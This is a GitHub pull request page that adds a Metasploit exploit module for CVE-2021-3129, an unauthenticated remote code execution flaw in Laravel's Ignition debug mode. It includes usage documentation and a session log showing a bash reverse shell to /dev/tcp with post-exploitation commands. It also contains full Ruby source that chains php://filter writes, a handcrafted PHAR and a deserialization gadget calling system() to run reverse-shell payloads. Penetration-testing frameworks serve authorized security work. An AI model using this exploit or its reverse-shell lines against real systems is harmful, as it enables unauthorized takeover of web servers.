Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module to CVE-2021-3129 #16159

Merged
merged 14 commits into from
Feb 15, 2022
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
## Vulnerable Application

Ignition prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote malicious users to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel prior to 8.4.2.

This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60.

The easiest way to deploy a vulnerable application is to use the image from the vulhub project available over docker compose [here](https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129/docker-compose.yml). However this container doesn't come
with the required log file created, then it needs to be created manually in the path `/var/www/storage/logs/laravel.log`.

## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/php/ignition_laravel_debug_rc`
3. set `RHOSTS` and `RPORT`
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. It come already with a default payload `cmd/unix/reverse_bash`
7. `set LHOST`
8. `exploit`
9. Confirm you have now a cmd session

## Options

### TARGETURI (required)

The path to the Ignition _solutions_ file to exploit. By default, the path is `/_ignition/execute-solution`.

### LOGPATH (optional)

Path to Laravel's log file, which contains every PHP error and stack trace. By default it is stored in `storage/logs/laravel.log`. If not defined this module will try to automatically determine it based on the stack trace of the application.


## Scenarios
```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit

[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65'
[*] Started reverse TCP handler on 172.28.241.244:4444
[*] Checking component version to 172.28.240.1:8080
[*] Debug mode is enabled.
[*] Found PHP 7.4.15 running Laravel 8.26.1
[*] Found log file /var/www/storage/logs/laravel.log
[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php /var/www/artisan --version
Laravel Framework 8.26.1
head ../vendor/facade/ignition/CHANGELOG.md
# Changelog

All notable changes to `ignition` will be documented in this file

## 2.5.1 - 2020-11-13

- add support for LiveWire component urls

## 2.5.0 - 2020-10-27

uname -a
Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux
cat /etc/debian_version
10.7
exit
[*] 172.28.240.1 - Command shell session 2 closed.
```

### Version and OS
This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. Details as below:

* PHP 7.4.1
* Laravel Framework 8.26.1
* Ignition 2.5.1
* Debian 10.7
226 changes: 226 additions & 0 deletions modules/exploits/multi/php/ignition_laravel_debug_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,226 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
heyder marked this conversation as resolved.
Show resolved Hide resolved
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated remote code execution in Ignition',
'Description' => %q{
Ignition before 2.5.2, as used in Laravel and other products,
allows unauthenticated remote attackers to execute arbitrary code
because of insecure usage of file_get_contents() and file_put_contents().
This is exploitable on sites using debug mode with Laravel before 8.4.2.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'ambionics' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-3129'],
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
],
'DisclosureDate' => '2021-01-13',
'Platform' => %w[unix linux macos win],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'PUT'
}, 1)
# Check whether it is using facade/ignition
# If is using it should respond method not allowed
# checking if debug mode is enable
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
vprint_status 'Debug mode is enabled.'
# check version
versions = JSON.parse(
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
)
version = Rex::Version.new(versions['framework_version'])
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
# to be sure that it is vulnerable we could try to clenup the log files (invalid and valid)
heyder marked this conversation as resolved.
Show resolved Hide resolved
# but it is way more intrusive than just checking the version moreover we would need to call
# the find_log_file method before, meaning four requests more.
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
end
return Exploit::CheckCode::Safe
end

def exploit
@logfile = datastore['LOGFILE'] || find_log_file
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile

clear_log
put_payload
convert_to_phar
run_phar

handler

clear_log
end

def find_log_file
vprint_status 'Trying to detect log file'
res = post Rex::Text.rand_text_alpha_upper(12)
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
logpath = Regexp.last_match(1).gsub(/\\/, '')
vprint_status "Found directory canditate #{logpath}"
heyder marked this conversation as resolved.
Show resolved Hide resolved
logfile = "#{logpath}/storage/logs/laravel.log"
vprint_status "Cheking if #{logfile} exists"
heyder marked this conversation as resolved.
Show resolved Hide resolved
res = post logfile
if res.code == 200
vprint_status "Found log file #{logfile}"
return logfile
end
vprint_error "Log file does not exist #{logfile}"
return
end
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
return
end

def clear_log
res = post "php://filter/read=consumed/resource=#{@logfile}"
# guard clause when try to exploit a not vulnerable target (set ForceExploit true)
heyder marked this conversation as resolved.
Show resolved Hide resolved
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} seems doesn't exist.") unless res.code == 200
heyder marked this conversation as resolved.
Show resolved Hide resolved
end

def put_payload
post format_payload
post Rex::Text.rand_text_alpha_upper(2)
end

def convert_to_phar
filters = %w[
convert.quoted-printable-decode
convert.iconv.utf-16le.utf-8
convert.base64-decode
].join('|')

post "php://filter/write=#{filters}/resource=#{@logfile}"
end

def run_phar
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
# resp.body.match(%r{^(.*)\n<!doctype html>})
# $1 ? print_good($1) : nil
heyder marked this conversation as resolved.
Show resolved Hide resolved
end

def body_template(data)
{
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
parameters: {
viewFile: data,
variableName: Rex::Text.rand_text_alpha_lower(4..12)
}
}.to_json
end

def post(data)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'POST',
'data' => body_template(data),
'ctype' => 'application/json',
'headers' => {
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})
end

def generate_phar(pop)
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << 'GBMB' # signature presence

return phar
end

def format_payload
# rubocop:disable Style/StringLiterals
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
# rubocop:enable Style/StringLiterals
phar = generate_phar(serialize)

b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join

return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
end

end